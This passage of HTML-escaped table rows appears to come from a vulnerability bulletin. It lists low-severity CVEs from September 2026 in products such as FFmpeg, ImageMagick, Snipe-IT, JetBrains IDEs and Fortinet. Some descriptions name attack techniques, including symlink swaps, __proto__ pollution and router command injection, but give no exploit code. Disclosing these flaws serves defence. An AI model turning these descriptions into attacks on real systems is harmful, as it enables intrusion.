&lt;td&gt;FFmpeg before 9.0 has an out-of-bounds read because there is insufficiently padded extradata in the MOV parsing path in mov_read_iacb in libavformat/mov.c.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;2.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52297&quot; target=&quot;_blank&quot;&gt;CVE-2026-52297&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Forgejo--Forgejo&lt;/td&gt;
&lt;td&gt;Forgejo before 16.0.4 allows use of restricted API tokens for unintended access to the &quot;allow maintainer edit&quot; feature.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89151&quot; target=&quot;_blank&quot;&gt;CVE-2026-89151&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fortinet--FortiOS&lt;/td&gt;
&lt;td&gt;A NULL Pointer Dereference vulnerability [CWE-476] vulnerability in Fortinet FortiOS 7.4 all versions, FortiOS 7.2 all versions, FortiPAM 1.9.0, FortiPAM 1.8 all versions, FortiPAM 1.7 all versions, FortiPAM 1.6 all versions, FortiPAM 1.5 all versions, FortiPAM 1.4 all versions, FortiPAM 1.3 all versions, FortiPAM 1.2 all versions, FortiPAM 1.1 all versions, FortiPAM 1.0 all versions, FortiProxy 7.6.0 through 7.6.6, FortiProxy 7.4 all versions, FortiProxy 7.2 all versions may allow an authenticated attacker to crash the httpsd daemon via crafted HTTP requests.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;2.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84392&quot; target=&quot;_blank&quot;&gt;CVE-2026-84392&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Fortinet--FortiSIEM&lt;/td&gt;
&lt;td&gt;A url redirection to untrusted site (&#039;open redirect&#039;) vulnerability in Fortinet FortiSIEM 7.5.0 through 7.5.1, FortiSIEM 7.4.1 through 7.4.2 may allow attacker to execute unauthorized code or commands via &amp;lt;insert attack vector here&amp;gt;&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;2.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84389&quot; target=&quot;_blank&quot;&gt;CVE-2026-84389&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;getgrav--Grav&lt;/td&gt;
&lt;td&gt;Grav 1.7.50.2 allows admins to enter JavaScript via the Home Page editor. NOTE: the relevance of this for stored XSS is disputed because admins are allowed to modify templates, install plugins, and upload other executable content.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;1.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-64059&quot; target=&quot;_blank&quot;&gt;CVE-2025-64059&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in GPAC up to f1219cde. The impacted element is the function gf_sg_mfurl_del of the file scenegraph/vrml_tools.c of the component MP4Box. The manipulation leads to null pointer dereference. Local access is required to approach this attack. The exploit is publicly available and might be used. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. Upgrading to version abi-16.23 is sufficient to resolve this issue. The identifier of the patch is 49dee5cad329cfed310c1682703df7daa47df31a. It is recommended to upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90573&quot; target=&quot;_blank&quot;&gt;CVE-2026-90573&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;GPAC--GPAC&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in GPAC up to f1219cde. Affected is the function gf_node_list_add_child of the file scenegraph/base_scenegraph.c of the component MP4Box. Such manipulation leads to null pointer dereference. The attack can only be performed from a local environment. The exploit has been disclosed publicly and may be used. Upgrading to version abi-16.23 is able to address this issue. The name of the patch is 49dee5cad329cfed310c1682703df7daa47df31a. You should upgrade the affected component.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90576&quot; target=&quot;_blank&quot;&gt;CVE-2026-90576&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT 8.6.3 and earlier do not check the return value of Storage::put() when writing the signature PNG and the generated acceptance PDF in Account\AcceptanceController::store(). On filesystem drivers that return false instead of throwing on a write failure (for example the local disk with restrictive permissions, S3 with expired credentials, or a storage backend that is out of quota), execution continues into $acceptance-&amp;gt;accept(), which sets accepted_at and the signature_filename/eula_filename fields, creates the &#039;accepted&#039; action-log entry, and dispatches completion notifications even though the evidence files were never stored. The result is an acceptance record marked complete whose supporting evidence files do not exist, yielding a materially incomplete compliance artifact for EULA acknowledgement or equipment-receipt workflows. The condition is triggered when an authenticated user completes an acceptance while the storage backend is silently failing writes; an attacker cannot directly force the storage backend into that state. Fixed in Snipe-IT 8.7.0.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86739&quot; target=&quot;_blank&quot;&gt;CVE-2026-86739&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT before 8.7.0 fails to check the return value of Storage::delete() in UploadedFilesController::destroy() and Api\\UploadedFilesController::destroy(), allowing deletion requests to report success while files remain on disk. Administrators performing attachment deletions receive success responses and see files hidden from listings, but the physical files persist on disk and remain accessible to anyone with filesystem or backup access.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86740&quot; target=&quot;_blank&quot;&gt;CVE-2026-86740&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT versions &amp;gt;= 7.0.12 and &amp;lt;= 8.6.3 contain an authorization bypass in the Livewire importer component (App\Livewire\Importer, mounted at the imports.index route). The component only checked the broad &#039;import&#039; ability at mount time, while its files() and activeFile() computed properties queried the imports table with no owner or company scope. As a result, any authenticated non-superuser holding the import permission could view every Import record on the instance (original filename, file_path, filesize, import_type and creation timestamp) and could invoke the selectFile($id) Livewire action with any auto-incrementing Import ID to load another user&#039;s record, exposing its stored preview data (header_row column headers and first_row, the first data row of the CSV). Because import CSVs commonly contain personal data, asset serial numbers and license keys, this discloses sensitive information; in Full Multiple Companies Support (FMCS) deployments the disclosure also crosses company/tenant boundaries. Impact is limited to preview data rather than the full CSV file, and superusers were unaffected. Fixed in version 8.7.0, which scopes non-superuser reads to imports owned by the caller.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86763&quot; target=&quot;_blank&quot;&gt;CVE-2026-86763&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;grokability--snipe-it&lt;/td&gt;
&lt;td&gt;Snipe-IT 8.6.3 and earlier (and develop pre-release commits prior to the fix) contain a race condition in the asset checkout paths. Api\AssetsController::checkout() and Assets\AssetCheckoutController::store() call Asset::availableForCheckout() outside the mutation path and then invoke Asset::checkOut() without taking a row lock or re-checking availability, so two concurrent checkout requests for the same available asset can both observe it as available and both commit. This produces duplicate checkout-history rows, a doubled checkout_counter, and two CheckoutableCheckedOut events for a single-assignment asset, corrupting the audit trail and utilization/reconciliation reporting; the asset&#039;s final assigned_to remains singular, so the visible assignment stays intact. Exploitation requires an authenticated session holding the assets.checkout permission (or superuser) and precise concurrent timing. Fixed in 8.7.0.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;2.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86744&quot; target=&quot;_blank&quot;&gt;CVE-2026-86744&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;hapijs--joi&lt;/td&gt;
&lt;td&gt;joi before versions 17.13.8 and 18.2.9 contains a prototype pollution vulnerability in the messages compilation function that accepts __proto__ as an error code. Attackers can supply __proto__ keys in custom messages to replace the returned object&#039;s prototype, breaking downstream code relying on Object.prototype methods.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90771&quot; target=&quot;_blank&quot;&gt;CVE-2026-90771&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HCL Software--MyXalytics&lt;/td&gt;
&lt;td&gt;HCL MyXalytics was affected by Improper Input validation Vulnerability. It allow malicious or unexpected data to cause unintended system behaviour or security issues.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-52651&quot; target=&quot;_blank&quot;&gt;CVE-2025-52651&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HCL Software--MyXalytics&lt;/td&gt;
&lt;td&gt;HCL MyXalytics was affected by Content Spoofing Vulnerability. It may allow an attacker to manipulate displayed content, making it appear as though it originates from a trusted source, potentially leading to phishing or data theft.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-52652&quot; target=&quot;_blank&quot;&gt;CVE-2025-52652&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;HCL Software--MyXalytics&lt;/td&gt;
&lt;td&gt;HCL MyXalytics was affected by Potential DOS Vulnerability. It allows users to input data without any restriction on the number of characters which can impact system performance or availability.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-52657&quot; target=&quot;_blank&quot;&gt;CVE-2025-52657&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ImageMagick--ImageMagick&lt;/td&gt;
&lt;td&gt;ImageMagick before 7.1.2-30 and 6.9.13-55 fails to properly lower the memory budget when an operation inside OpenPixelCache fails. Repeated triggering of such failures can exhaust the process memory budget and result in a denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86420&quot; target=&quot;_blank&quot;&gt;CVE-2026-86420&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ImageMagick--ImageMagick&lt;/td&gt;
&lt;td&gt;ImageMagick before 7.1.2-30 and 6.9.13-55 contains a memory leak in the MSL image decoder. A crafted MSL image triggers memory allocation without proper deallocation, allowing an attacker to exhaust memory and cause a denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86421&quot; target=&quot;_blank&quot;&gt;CVE-2026-86421&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ImageMagick--ImageMagick&lt;/td&gt;
&lt;td&gt;ImageMagick before 7.1.2-30 contains a time-of-check-time-of-use vulnerability in path policy enforcement on Windows that allows attackers to bypass read or write restrictions by exploiting symlink race conditions. Attackers can swap symlinks between policy validation and file access to read or write policy-denied files.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86422&quot; target=&quot;_blank&quot;&gt;CVE-2026-86422&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ImageMagick--ImageMagick&lt;/td&gt;
&lt;td&gt;ImageMagick before 7.1.2-30 and 6.9.x before 6.9.13-55 contains a heap-use-after-free vulnerability in the GetList method of PerlMagick. A crafted call to the GetList method can trigger the use-after-free, resulting in a crash (denial of service).&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86423&quot; target=&quot;_blank&quot;&gt;CVE-2026-86423&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ImageMagick--ImageMagick&lt;/td&gt;
&lt;td&gt;ImageMagick before 7.1.2-30 and 6.9.x before 6.9.13-55 contains a heap-use-after-free vulnerability in the Layer method of PerlMagick. An attacker who supplies a crafted list of images can trigger memory access after deallocation, resulting in a crash (denial of service).&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86425&quot; target=&quot;_blank&quot;&gt;CVE-2026-86425&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ImageMagick--ImageMagick&lt;/td&gt;
&lt;td&gt;ImageMagick before 7.1.2-30 and 6.9.13-55 contains a time-of-check-time-of-use (TOCTOU) vulnerability in the video decoder that allows attackers to bypass path policy write restrictions via symlink swaps. An attacker can replace a symlink between policy validation (check-time) and the file write operation (use-time) to write to policy-denied locations.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;2.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86424&quot; target=&quot;_blank&quot;&gt;CVE-2026-86424&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;instantsoft--icms2&lt;/td&gt;
&lt;td&gt;InstantCMS is a free and open source content management system. Versions prior to 2.18.2 have a Server-Side Request Forgery (SSRF) vulnerability in the file upload functionality (`system/core/uploader.php` at lines 509-532). When the &quot;upload from URL&quot; feature follows an HTTP redirect, the redirected target URL bypasses the private IP address blacklist check. This allows authenticated users to scan and access internal network services. Version 2.18.2 contains a fix.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48707&quot; target=&quot;_blank&quot;&gt;CVE-2026-48707&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--IntelliJ IDEA&lt;/td&gt;
&lt;td&gt;In JetBrains IntelliJ IDEA before 2026.2.2 opening an untrusted project could trigger SSRF via Kubernetes spec-source URL fetching&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86503&quot; target=&quot;_blank&quot;&gt;CVE-2026-86503&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--IntelliJ IDEA&lt;/td&gt;
&lt;td&gt;In JetBrains IntelliJ IDEA before 2026.2.2 missing project-trust check leaked project metadata to JetBrains Marketplace&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86505&quot; target=&quot;_blank&quot;&gt;CVE-2026-86505&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--IntelliJ IDEA&lt;/td&gt;
&lt;td&gt;In JetBrains IntelliJ IDEA before 2026.2.2 terminal command input could be written to idea.log&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;2.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86501&quot; target=&quot;_blank&quot;&gt;CVE-2026-86501&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.2.18634 iP spoofing via HTTP headers allowed forged Bitbucket webhooks&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86485&quot; target=&quot;_blank&quot;&gt;CVE-2026-86485&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.2.18634 the generic VCS webhook handler failed open when its secret was blank&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86486&quot; target=&quot;_blank&quot;&gt;CVE-2026-86486&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.2.18634 a crafted WebSocket message allowed read-only whiteboard users to modify canvas content&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86487&quot; target=&quot;_blank&quot;&gt;CVE-2026-86487&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.2.18634 stored XSS was possible via project and organization icon uploads&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86491&quot; target=&quot;_blank&quot;&gt;CVE-2026-86491&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;KeePass--KeePass&lt;/td&gt;
&lt;td&gt;KeePass versions 2.35 through 2.61.1 fail to validate KDBX header field sizes before memory allocation in the ReadHeaderField function. Attackers can craft a malicious KDBX file declaring excessive header field lengths to trigger allocation of gigabytes of memory, causing the application to consume resources and terminate.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86776&quot; target=&quot;_blank&quot;&gt;CVE-2026-86776&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;LB-LINK--AC1900 firmware&lt;/td&gt;
&lt;td&gt;A Command Injection vulnerability exists in the bs_SetLimitCli_info function within the libshare.so library of the LB-LINK router AC1900_AZ2 V1.0.2 via shell metacharacters, if the device is deployed in a scenario where an actor is able to make a &quot;POST /goform/set_LimitClient_cfg&quot; call but does not already have administrative access to the device.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;3.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-35867&quot; target=&quot;_blank&quot;&gt;CVE-2026-35867&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;linlinjava--litemall&lt;/td&gt;
&lt;td&gt;A flaw has been found in linlinjava litemall 1.5.0/1.6.0/1.7.0/1.8.0. This vulnerability affects the function AdminTopicController.validate of the file litemall-vue/src/views/items/topic/index.vue of the component Admin Topic Handler. This manipulation causes cross site scripting. The attack may be initiated remotely. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;2.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90569&quot; target=&quot;_blank&quot;&gt;CVE-2026-90569&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;linlinjava--litemall&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in linlinjava litemall 1.4.0/1.5.0/1.6.0/1.7.0/1.8.0. This issue affects the function AdminGoodsService.validate of the file litemall-vue/src/views/items/detail/index.vue of the component Product Detail. Such manipulation of the argument detail leads to cross site scripting. The attack may be launched remotely. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;2.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90570&quot; target=&quot;_blank&quot;&gt;CVE-2026-90570&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;maliangnansheng--bbs-springboot&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in maliangnansheng bbs-springboot 3.0.0. This affects the function utils.toToc of the file ArticleController.java. This manipulation causes cross site scripting. The attack is possible to be carried out remotely.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90563&quot; target=&quot;_blank&quot;&gt;CVE-2026-90563&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SharePoint Server Subscription Edition&lt;/td&gt;
&lt;td&gt;Improper neutralization of input during web page generation (&#039;cross-site scripting&#039;) in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69615&quot; target=&quot;_blank&quot;&gt;CVE-2026-69615&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Microsoft--Microsoft SharePoint Server Subscription Edition&lt;/td&gt;
&lt;td&gt;Server-side request forgery (ssrf) in Microsoft Office SharePoint allows an authorized attacker to disclose information over a network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-69904&quot; target=&quot;_blank&quot;&gt;CVE-2026-69904&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB--MongoDB Server&lt;/td&gt;
&lt;td&gt;A security issue in MongoDB Server&#039;s query statistics serialization on the router allows users with monitoring privileges to access unredacted search query text from other users&#039; operations. An improper conditional check in the serialization logic causes the data redaction mechanism to be bypassed when processing search queries through the sharded cluster router. This results in sensitive query literals being stored and made accessible through the query statistics interface.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;2.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82069&quot; target=&quot;_blank&quot;&gt;CVE-2026-82069&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;moxi624--Mogu Blog v2&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in moxi624 Mogu Blog v2 up to 5.2. This affects the function BlogSortServiceImpl.addBlogSort of the file mogu_web/src/main/resources/templates/info.ftl of the component blogSort Endpoint. The manipulation of the argument sortName results in cross site scripting. The attack can be launched remotely. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90568&quot; target=&quot;_blank&quot;&gt;CVE-2026-90568&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NETGEAR--RAX30&lt;/td&gt;
&lt;td&gt;An insufficient input validation vulnerability in the listed NETGEAR RAX series models allows a network-adjacent attacker having network access (such as WiFi credentials) to crash the router&#039;s management UI. There is no confidentiality or integrity impact. A crash of the router&#039;s management UI does not impact the availability of the router&#039;s core services like WiFi network.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-9216&quot; target=&quot;_blank&quot;&gt;CVE-2026-9216&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nozomi Networks--Guardian&lt;/td&gt;
&lt;td&gt;A cross-site request forgery vulnerability was discovered in the login functionality (both standard and SAML) due to missing validation of the anti-CSRF token. An attacker with a valid account can trick a victim into unknowingly authenticating with the attacker&#039;s credentials. Any operation performed by the victim in this state is attributed to the attacker&#039;s account, compromising the integrity of the audit trail.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;3.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-33920&quot; target=&quot;_blank&quot;&gt;CVE-2026-33920&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OISF--suricata&lt;/td&gt;
&lt;td&gt;Suricata is a network Intrusion Detection System, Intrusion Prevention System and Network Security Monitoring engine. Prior to versions 7.0.16 and 8.0.5, a crafted rule using mixed-case frame syntax could trigger a heap buffer overflow while Suricata is loading signatures. The issue is reached during rule parsing/loading rather than by network traffic alone. Versions 7.0.16 and 8.0.5 contain a fix. As a workaround, preprocess rules to check that frames are all lowercase and/or only load trusted rulesets.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;3.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-45761&quot; target=&quot;_blank&quot;&gt;CVE-2026-45761&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;PCRE--PCRE2&lt;/td&gt;
&lt;td&gt;PCRE2 before 10.48 has a pcre2_match out-of-bounds read during the PCRE2_MATCH_INVALID_UTF matching of an invalid UTF subject.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;3.7&lt;/td&gt;
